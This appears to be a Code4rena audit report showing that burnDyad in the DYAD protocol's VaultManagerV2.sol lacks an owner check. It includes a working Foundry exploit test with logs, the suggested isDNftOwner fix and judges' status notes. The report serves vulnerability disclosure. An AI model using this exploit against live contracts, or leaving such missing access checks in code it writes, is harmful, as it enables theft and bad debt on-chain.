VaultManagerV2.sol::burnDyad function is missing an isDNftOwner modifier, allowing a user to burn another user's minted DYAD

[c4-bot-8]

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L172-L181

Vulnerability details

Description:

VaultManagerV2.sol has a function burnDyad that allows a DNft owner to burn his minted DYAD tokens.

    function burnDyad(uint256 id, uint256 amount) external isValidDNft(id) {
        dyad.burn(id, msg.sender, amount);
        emit BurnDyad(id, amount, msg.sender);
    }

However, the function does not check if the DNft id that is passed to it and the isValidDNft modifier belongs to msg.sender, allowing any DNft owner to burn any other DNft owner minted DYAD by calling the burnDyad function with the other user's DNft id.

Impact:

A user can prevent an open position from being liquidated by calling VaultManagerV2::burnDyad to burn his own DYAD balance, while retaining his DYAD debt, effectively creating bad debt that cannot be liquidated nor redeemed.

Moreover, by specifying a different DNft id from their own when calling VaultManagerV2::burnDyad, the user can clear DYAD debt from another position while retaining the DYAD balance associated with it, effectively tricking the protocol in allowing him to mint more DYAD as the position no longer has DYAD debt.

Proof of Concept:

1. Add the helper functions to VaultManagerHelper.t.sol
2. Add the test to VaultManager.t.sol
3. Make sure you are interacting with VaultManagerV2.sol (not VaultManager.sol) and run with:

    forge test --mt test_burnAnotherUserDyad

VaultManagerHelper.t.sol

    function mintDNftToUser(address user) public returns (uint256) {
        return dNft.mintNft{value: 1 ether}(user);
    }

    function userDeposit(ERC20Mock token, uint256 id, address vault, uint256 amount, address user) public {
        vaultManager.add(id, vault);
        token.mint(user, amount);
        token.approve(address(vaultManager), amount);
        vaultManager.deposit(id, address(vault), amount);
    }

VaultManager.t.sol

    function test_burnAnotherUserDyad() public {
        vm.deal(Alice, 10 ether);
        vm.deal(Bob, 10 ether);

        // Mint DYAD to Alice
        vm.startPrank(Alice);
        uint256 aliceDNftId = mintDNftToUser(Alice);
        userDeposit(weth, aliceDNftId, address(wethVault), 1e22, Alice);
        vaultManager.mintDyad(aliceDNftId, 1e20, Alice);
        vm.stopPrank();

        // Mint DYAD to Bob
        vm.startPrank(Bob);
        uint256 bobDNftId = mintDNftToUser(Bob);
        userDeposit(weth, bobDNftId, address(wethVault), 1e22, Bob);
        vaultManager.mintDyad(bobDNftId, 1e20, Bob);
        vm.stopPrank();

        console.log("Alice Minted Dyad:", dyad.mintedDyad(address(vaultManager), 0)); // 100000000000000000000
        console.log("Alice Dyad Balance:", dyad.balanceOf(Alice)); // 100000000000000000000
        console.log("Bob Minted Dyad:", dyad.mintedDyad(address(vaultManager), 1)); // 100000000000000000000
        console.log("Bob Dyad Balance:", dyad.balanceOf(Bob)); // 100000000000000000000

        // Call `burnDyad` as Bob on Alice's DNft id!
        vm.prank(Bob);
        vaultManager.burnDyad(aliceDNftId, 1e20);

        // Bob position becomes insolvent as his DYAD balance is now equal to 0!
        console.log("Alice Minted Dyad:", dyad.mintedDyad(address(vaultManager), 0)); // 0
        console.log("Alice Dyad Balance:", dyad.balanceOf(Alice)); // 100000000000000000000
        console.log("Bob Minted Dyad:", dyad.mintedDyad(address(vaultManager), 1)); // 100000000000000000000
        console.log("Bob Dyad Balance:", dyad.balanceOf(Bob)); // 0

        // Alice can mint more DYAD as her DYAD debt is now equal to 0!
        vm.prank(Alice);
        vaultManager.mintDyad(aliceDNftId, 1e20, Alice);

        console.log("Alice Minted Dyad:", dyad.mintedDyad(address(vaultManager), 0)); // 100000000000000000000
        console.log("Alice Dyad Balance:", dyad.balanceOf(Alice)); // 200000000000000000000
        console.log("Bob Minted Dyad:", dyad.mintedDyad(address(vaultManager), 1)); // 100000000000000000000
        console.log("Bob Dyad Balance:", dyad.balanceOf(Bob)); // 0
        
        // Bob position cannot be liquidated due to high collaterization ratio!
        vm.prank(Alice);
        vm.expectRevert();
        vaultManager.liquidate(1, 0);
    }

[PASS] test_burnAnotherUserDyad() (gas: 815369)
Logs:
  Alice Minted Dyad: 100000000000000000000
  Alice Dyad Balance: 100000000000000000000
  Bob Minted Dyad: 100000000000000000000
  Bob Dyad Balance: 100000000000000000000
  Alice Minted Dyad: 0
  Alice Dyad Balance: 100000000000000000000
  Bob Minted Dyad: 100000000000000000000
  Bob Dyad Balance: 0
  Alice Minted Dyad: 100000000000000000000
  Alice Dyad Balance: 200000000000000000000
  Bob Minted Dyad: 100000000000000000000
  Bob Dyad Balance: 0

Tools Used:

Manual Review

Recommended Mitigation:

Add isDNftOwner modifier to VaultManagerV2.sol::burnDyad to check if the passed DNft id belongs to msg.sender, preventing the function caller from being able to burn another user's minted DYAD.

    function burnDyad(uint256 id, uint256 amount) external
     isValidDNft(id)
+    isDNftOwner(id) {
        dyad.burn(id, msg.sender, amount);
        emit BurnDyad(id, amount, msg.sender);
    }

Assessed type

DoS

[c4-pre-sort]

JustDravee marked the issue as duplicate of #409

[c4-pre-sort]

JustDravee marked the issue as sufficient quality report

[c4-judge]

koolexcrypto marked the issue as unsatisfactory:
Invalid

[c4-judge]

koolexcrypto marked the issue as not a duplicate

[c4-judge]

koolexcrypto removed the grade

[c4-judge]

koolexcrypto marked the issue as duplicate of #74

[c4-judge]

koolexcrypto marked the issue as duplicate of #992

[c4-judge]

koolexcrypto marked the issue as satisfactory

[c4-judge]

koolexcrypto changed the severity to 2 (Med Risk)

[c4-judge]

koolexcrypto marked the issue as not a duplicate

[c4-judge]

koolexcrypto marked the issue as primary issue

[c4-judge]

koolexcrypto marked the issue as selected for report